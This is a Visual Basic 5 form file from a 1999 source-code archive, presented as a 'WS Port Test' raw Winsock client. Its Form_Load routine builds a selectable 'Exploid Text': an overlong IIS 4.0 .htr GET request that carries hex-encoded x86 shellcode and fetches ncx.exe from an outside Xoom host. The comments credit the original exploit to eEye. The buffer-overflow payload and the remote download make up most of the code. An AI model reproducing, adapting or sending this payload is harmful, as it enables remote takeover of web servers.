home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / hidemd1r / frm_main.frm (.txt)
Encoding:
Visual Basic Form  |  1999-07-24  |  13.8 KB  |  273 lines
  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Begin VB.Form Frm_Main 
  4.    Caption         =   "WS Port Test - http://www.tair.freeservers.com for much more ..."
  5.    ClientHeight    =   3375
  6.    ClientLeft      =   60
  7.    ClientTop       =   345
  8.    ClientWidth     =   7395
  9.    LinkTopic       =   "Form1"
  10.    ScaleHeight     =   3375
  11.    ScaleWidth      =   7395
  12.    StartUpPosition =   3  'Windows Default
  13.    Begin VB.ComboBox txt_Request 
  14.       Height          =   315
  15.       ItemData        =   "Frm_Main.frx":0000
  16.       Left            =   1080
  17.       List            =   "Frm_Main.frx":0025
  18.       TabIndex        =   13
  19.       Top             =   480
  20.       Width           =   6255
  21.    End
  22.    Begin MSWinsockLib.Winsock WS_Conn 
  23.       Left            =   240
  24.       Top             =   1200
  25.       _ExtentX        =   741
  26.       _ExtentY        =   741
  27.       _Version        =   393216
  28.    End
  29.    Begin VB.CommandButton Cmd_Close 
  30.       Caption         =   "Close"
  31.       Height          =   375
  32.       Left            =   5880
  33.       TabIndex        =   9
  34.       Top             =   2640
  35.       Width           =   1455
  36.    End
  37.    Begin VB.TextBox Txt_Response 
  38.       Height          =   1695
  39.       Left            =   1080
  40.       Locked          =   -1  'True
  41.       MultiLine       =   -1  'True
  42.       ScrollBars      =   3  'Both
  43.       TabIndex        =   5
  44.       Top             =   840
  45.       Width           =   6255
  46.    End
  47.    Begin VB.TextBox Txt_Port 
  48.       Height          =   285
  49.       Left            =   6480
  50.       TabIndex        =   1
  51.       Top             =   120
  52.       Width           =   855
  53.    End
  54.    Begin VB.TextBox Txt_Server 
  55.       Height          =   285
  56.       Left            =   1080
  57.       TabIndex        =   0
  58.       Top             =   120
  59.       Width           =   4695
  60.    End
  61.    Begin VB.CommandButton Cmd_Send_CRLF_CRLF 
  62.       Caption         =   "<CRLF>.<CRLF>"
  63.       Height          =   375
  64.       Left            =   4440
  65.       TabIndex        =   12
  66.       Top             =   2640
  67.       Width           =   1455
  68.    End
  69.    Begin VB.CommandButton Cmd_Send_CRLF 
  70.       Caption         =   "<CRLF>"
  71.       Height          =   375
  72.       Left            =   3000
  73.       TabIndex        =   11
  74.       Top             =   2640
  75.       Width           =   1455
  76.    End
  77.    Begin VB.CommandButton Cmd_Send 
  78.       Caption         =   "Send"
  79.       Height          =   375
  80.       Left            =   1560
  81.       TabIndex        =   8
  82.       Top             =   2640
  83.       Width           =   1455
  84.    End
  85.    Begin VB.CommandButton Cmd_Connect 
  86.       Caption         =   "Connect"
  87.       Height          =   375
  88.       Left            =   120
  89.       TabIndex        =   7
  90.       Top             =   2640
  91.       Width           =   1455
  92.    End
  93.    Begin VB.Label Lbl_status 
  94.       Caption         =   "Ready"
  95.       Height          =   255
  96.       Left            =   120
  97.       TabIndex        =   10
  98.       Top             =   3120
  99.       Width           =   7095
  100.    End
  101.    Begin VB.Label Label4 
  102.       Caption         =   "Response"
  103.       Height          =   255
  104.       Left            =   240
  105.       TabIndex        =   6
  106.       Top             =   840
  107.       Width           =   855
  108.    End
  109.    Begin VB.Label Label3 
  110.       Caption         =   "Request"
  111.       Height          =   255
  112.       Left            =   240
  113.       TabIndex        =   4
  114.       Top             =   480
  115.       Width           =   735
  116.    End
  117.    Begin VB.Label Label2 
  118.       Caption         =   "Port"
  119.       Height          =   255
  120.       Left            =   5880
  121.       TabIndex        =   3
  122.       Top             =   120
  123.       Width           =   375
  124.    End
  125.    Begin VB.Label Label1 
  126.       Caption         =   "Server"
  127.       Height          =   255
  128.       Left            =   240
  129.       TabIndex        =   2
  130.       Top             =   120
  131.       Width           =   615
  132.    End
  133. Attribute VB_Name = "Frm_Main"
  134. Attribute VB_GlobalNameSpace = False
  135. Attribute VB_Creatable = False
  136. Attribute VB_PredeclaredId = True
  137. Attribute VB_Exposed = False
  138. 'Try to connect to any server
  139. 'Exploit Text slightly changed ;) do not try it when find IIS 4.0 server
  140. '(Exploid text is a busness of eEye.com)
  141. Dim Exploid_Text1 As String
  142. Dim Exploid_Text2 As String
  143. Dim Exploid_Text3 As String
  144. Private Sub Cmd_Close_Click()
  145.    WS_Conn.Close
  146.    Lbl_status.Caption = "Closing ..."
  147.    Lbl_status.Refresh
  148.    Txt_Response.Text = ""
  149.    Txt_Response.Refresh
  150. End Sub
  151. Private Sub Cmd_Connect_Click()
  152.    If WS_Conn.State = sckOpen Or Txt_Port.Text = "" Or Txt_Server.Text = "" Or Not (IsNumeric(Txt_Port.Text)) Then
  153.       Exit Sub
  154.    End If
  155.    WS_Conn.Connect Txt_Server.Text, CLng(Txt_Port.Text)
  156.    Lbl_status.Caption = "Connecting ..."
  157.    Lbl_status.Refresh
  158. End Sub
  159. Private Sub Cmd_Send_Click()
  160. Dim outBuffer As String
  161.    If WS_Conn.State = sckClosed Then
  162.       Exit Sub
  163.    End If
  164.    Lbl_status.Caption = "Request ..."
  165.    Lbl_status.Refresh
  166.    If txt_Request = "Exploid Text" Then
  167.       outBuffer = Exploid_Text1 & Exploid_Text2 & Exploid_Text3
  168.       'MsgBox outBuffer
  169.    Else
  170.       outBuffer = txt_Request.Text
  171.    End If
  172.    WS_Conn.SendData outBuffer
  173. End Sub
  174. Private Sub Cmd_Send_CRLF_Click()
  175.    If WS_Conn.State = sckClosed Then
  176.       Exit Sub
  177.    End If
  178.   Dim outBuffer As String
  179.    outBuffer = Chr(13) & Chr(10)
  180.    WS_Conn.SendData outBuffer
  181. End Sub
  182. Private Sub Cmd_Send_CRLF_CRLF_Click()
  183.    If WS_Conn.State = sckClosed Then
  184.       Exit Sub
  185.    End If
  186.   Dim outBuffer As String
  187.    outBuffer = Chr(13) & Chr(10) & "." & Chr(13) & Chr(10)
  188.    WS_Conn.SendData outBuffer
  189. End Sub
  190. Private Sub Form_Load()
  191.    Exploid_Text1 = "GET /AAAAAAA" & _
  192.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  193.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  194.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  195.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  196.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  197.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  198.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  199.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  200.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  201.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  202.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  203.     Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&HB0) & Chr(&H87) & Chr(&H67) & Chr(&H68) & Chr(&HB0) & Chr(&H87) & _
  204.     Chr(&H67) & Chr(&H68) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H58) & Chr(&H58) & Chr(&H90) & Chr(&H33) & Chr(&HC0) & Chr(&H50) & _
  205.     Chr(&H5B) & Chr(&H53) & Chr(&H59) & Chr(&H8B) & Chr(&HDE) & Chr(&H66) & Chr(&HB8) & Chr(&H21) & Chr(&H2) & Chr(&H3) & Chr(&HD8) & Chr(&H32) & _
  206.     Chr(&HC0) & Chr(&HD7) & Chr(&H2C) & Chr(&H21) & Chr(&H88) & Chr(&H3) & Chr(&H4B) & Chr(&H3C) & Chr(&HDE) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & _
  207.     Chr(&H43) & Chr(&HBA) & Chr(&HD0) & Chr(&H10) & Chr(&H67) & Chr(&H68) & Chr(&H52) & Chr(&H51) & Chr(&H53) & Chr(&HFF) & Chr(&H12) & Chr(&H8B) & _
  208.     Chr(&HF0) & Chr(&H8B) & Chr(&HF9) & Chr(&HFC) & Chr(&H59) & Chr(&HB1) & Chr(&H6) & Chr(&H90) & Chr(&H5A) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & _
  209.     Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & Chr(&H52) & Chr(&H51) & _
  210.     Chr(&H53) & Chr(&H56) & Chr(&HB2) & Chr(&H54) & Chr(&HFF) & Chr(&H12) & Chr(&HAB) & Chr(&H59) & Chr(&H5A) & Chr(&HE2) & Chr(&HE6) & Chr(&H43) & _
  211.     Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & _
  212.     Chr(&H52) & Chr(&H53) & Chr(&HFF) & Chr(&H12) & Chr(&H8B) & Chr(&HF0) & Chr(&H5A) & Chr(&H33) & Chr(&HC9) & Chr(&H50) & Chr(&H58) & Chr(&HB1) & _
  213.     Chr(&H5) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & _
  214.     Chr(&HF4) & Chr(&H43) & Chr(&H52) & Chr(&H51) & Chr(&H53) & Chr(&H56) & Chr(&HB2) & Chr(&H54) & Chr(&HFF) & Chr(&H12) & Chr(&HAB) & Chr(&H59) & _
  215.     Chr(&H5A) & Chr(&HE2) & Chr(&HE6) & Chr(&H33) & Chr(&HC0) & Chr(&H50) & Chr(&H40) & Chr(&H50) & Chr(&H40) & Chr(&H50) & Chr(&HFF) & Chr(&H57)
  216.    Exploid_Text2 = Chr(&HF4) & Chr(&H89) & Chr(&H47) & Chr(&HCC) & Chr(&H33) & Chr(&HC0) & Chr(&H50) & Chr(&H50) & Chr(&HB0) & Chr(&H2) & Chr(&H66) & Chr(&HAB) & _
  217.     Chr(&H58) & Chr(&HB4) & Chr(&H50) & Chr(&H66) & Chr(&HAB) & Chr(&H58) & Chr(&HAB) & Chr(&HAB) & Chr(&HAB) & Chr(&HB1) & Chr(&H21) & Chr(&H90) & _
  218.     Chr(&H66) & Chr(&H83) & Chr(&HC3) & Chr(&H16) & Chr(&H8B) & Chr(&HF3) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H3A) & Chr(&HC8) & _
  219.     Chr(&H75) & Chr(&HF8) & Chr(&H32) & Chr(&HC0) & Chr(&H88) & Chr(&H3) & Chr(&H56) & Chr(&HFF) & Chr(&H57) & Chr(&HEC) & Chr(&H90) & Chr(&H66) & _
  220.     Chr(&H83) & Chr(&HEF) & Chr(&H10) & Chr(&H92) & Chr(&H8B) & Chr(&H52) & Chr(&HC) & Chr(&H8B) & Chr(&H12) & Chr(&H8B) & Chr(&H12) & Chr(&H92) & _
  221.     Chr(&H8B) & Chr(&HD7) & Chr(&H89) & Chr(&H42) & Chr(&H4) & Chr(&H52) & Chr(&H6A) & Chr(&H10) & Chr(&H52) & Chr(&HFF) & Chr(&H77) & Chr(&HCC) & _
  222.     Chr(&HFF) & Chr(&H57) & Chr(&HF8) & Chr(&H5A) & Chr(&H66) & Chr(&H83) & Chr(&HEE) & Chr(&H8) & Chr(&H56) & Chr(&H43) & Chr(&H8B) & Chr(&HF3) & _
  223.     Chr(&HFC) & Chr(&HAC) & Chr(&H84) & Chr(&HC0) & Chr(&H75) & Chr(&HFB) & Chr(&H41) & Chr(&H4E) & Chr(&HC7) & Chr(&H6) & Chr(&H8D) & Chr(&H8A) & _
  224.     Chr(&H8D) & Chr(&H8A) & Chr(&H81) & Chr(&H36) & Chr(&H80) & Chr(&H80) & Chr(&H80) & Chr(&H80) & Chr(&H33) & Chr(&HC0) & Chr(&H50) & Chr(&H50) & _
  225.     Chr(&H6A) & Chr(&H48) & Chr(&H53) & Chr(&HFF) & Chr(&H77) & Chr(&HCC) & Chr(&HFF) & Chr(&H57) & Chr(&HF0) & Chr(&H58) & Chr(&H5B) & Chr(&H8B) & _
  226.     Chr(&HD0) & Chr(&H66) & Chr(&HB8) & Chr(&HFF) & Chr(&HF) & Chr(&H50) & Chr(&H52) & Chr(&H50) & Chr(&H52) & Chr(&HFF) & Chr(&H57) & Chr(&HE8) & _
  227.     Chr(&H8B) & Chr(&HF0) & Chr(&H58) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H50) & Chr(&H53) & Chr(&HFF) & Chr(&H57) & Chr(&HD4) & _
  228.     Chr(&H8B) & Chr(&HE8) & Chr(&H33) & Chr(&HC0) & Chr(&H5A) & Chr(&H52) & Chr(&H50) & Chr(&H52) & Chr(&H56) & Chr(&HFF) & Chr(&H77) & Chr(&HCC) & _
  229.     Chr(&HFF) & Chr(&H57) & Chr(&HEC) & Chr(&H80) & Chr(&HFC) & Chr(&HFF) & Chr(&H74) & Chr(&HF) & Chr(&H50) & Chr(&H56) & Chr(&H55) & Chr(&HFF) & _
  230.     Chr(&H57) & Chr(&HD8) & Chr(&H80) & Chr(&HFC) & Chr(&HFF) & Chr(&H74) & Chr(&H4) & Chr(&H85) & Chr(&HC0) & Chr(&H75) & Chr(&HDF) & Chr(&H55) & _
  231.     Chr(&HFF) & Chr(&H57) & Chr(&HDC) & Chr(&H33) & Chr(&HC0) & Chr(&H40) & Chr(&H50) & Chr(&H53) & Chr(&HFF) & Chr(&H57) & Chr(&HE4) & Chr(&H90) & _
  232.     Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&HFF) & Chr(&H6C) & Chr(&H66) & Chr(&H73) & Chr(&H6F) & Chr(&H66) & Chr(&H6D) & Chr(&H54) & Chr(&H53) & _
  233.     Chr(&H21) & Chr(&H80) & Chr(&H8D) & Chr(&H84) & Chr(&H93) & Chr(&H86) & Chr(&H82) & Chr(&H95) & Chr(&H21) & Chr(&H80) & Chr(&H8D) & Chr(&H98) & _
  234.     Chr(&H93) & Chr(&H8A) & Chr(&H95) & Chr(&H86) & Chr(&H21) & Chr(&H80) & Chr(&H8D) & Chr(&H84) & Chr(&H8D) & Chr(&H90) & Chr(&H94) & Chr(&H86) & _
  235.     Chr(&H21) & Chr(&H80) & Chr(&H8D) & Chr(&H90) & Chr(&H91) & Chr(&H86) & Chr(&H8F) & Chr(&H21) & Chr(&H78) & Chr(&H8A) & Chr(&H8F) & Chr(&H66) & _
  236.     Chr(&H99) & Chr(&H86) & Chr(&H84) & Chr(&H21) & Chr(&H68) & Chr(&H8D) & Chr(&H90) & Chr(&H83) & Chr(&H82) & Chr(&H8D) & Chr(&H62) & Chr(&H8D) & _
  237.     Chr(&H8D) & Chr(&H90) & Chr(&H84) & Chr(&H21) & Chr(&H78) & Chr(&H74) & Chr(&H70) & Chr(&H64) & Chr(&H6C) & Chr(&H54) & Chr(&H53) & Chr(&H21) & _
  238.     Chr(&H93) & Chr(&H86) & Chr(&H84) & Chr(&H97) & Chr(&H21) & Chr(&H94) & Chr(&H86) & Chr(&H8F) & Chr(&H85) & Chr(&H21) & Chr(&H94) & Chr(&H90) & _
  239.     Chr(&H84) & Chr(&H8C) & Chr(&H86) & Chr(&H95) & Chr(&H21) & Chr(&H84) & Chr(&H90) & Chr(&H8F) & Chr(&H8F) & Chr(&H86) & Chr(&H84) & Chr(&H95)
  240.    Exploid_Text3 = Chr(&H21) & Chr(&H88) & Chr(&H86) & Chr(&H95) & Chr(&H89) & Chr(&H90) & Chr(&H94) & Chr(&H95) & Chr(&H83) & Chr(&H9A) & Chr(&H8F) & Chr(&H82) & _
  241.     Chr(&H8E) & Chr(&H86) & Chr(&H21) & Chr(&H90) & Chr(&H98) & Chr(&H8F) & Chr(&H4F) & Chr(&H86) & Chr(&H99) & Chr(&H86) & Chr(&H21) & _
  242.     "GET members.xoom.com/tair_abd/ncx.exe" & _
  243.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  244.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  245.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  246.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  247.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  248.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  249.     Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  250.     Chr(&H21) & Chr(&H21) & Chr(&H21) & _
  251.     "(C)_Awidecontact_usa_net.htr HTTP/1.0"
  252.    txt_Request.AddItem ("Exploid Text")
  253.    Lbl_status.Caption = "No connection ..."
  254.    Lbl_status.Refresh
  255. End Sub
  256. Private Sub WS_Conn_Close()
  257.    MsgBox "Connection to server lost..."
  258.    Lbl_status.Caption = "No connection ..."
  259.    Lbl_status.Refresh
  260. End Sub
  261. Private Sub WS_Conn_Connect()
  262.    Lbl_status.Caption = "Connection On ..."
  263.    Lbl_status.Refresh
  264. End Sub
  265. Private Sub WS_Conn_DataArrival(ByVal bytesTotal As Long)
  266.    Dim inBuffer As String
  267.    Lbl_status.Caption = "Response ..."
  268.    Lbl_status.Refresh
  269.    WS_Conn.GetData inBuffer, vbString
  270.    Txt_Response.Text = Txt_Response.Text & inBuffer
  271.    Txt_Response.Refresh
  272. End Sub
  273.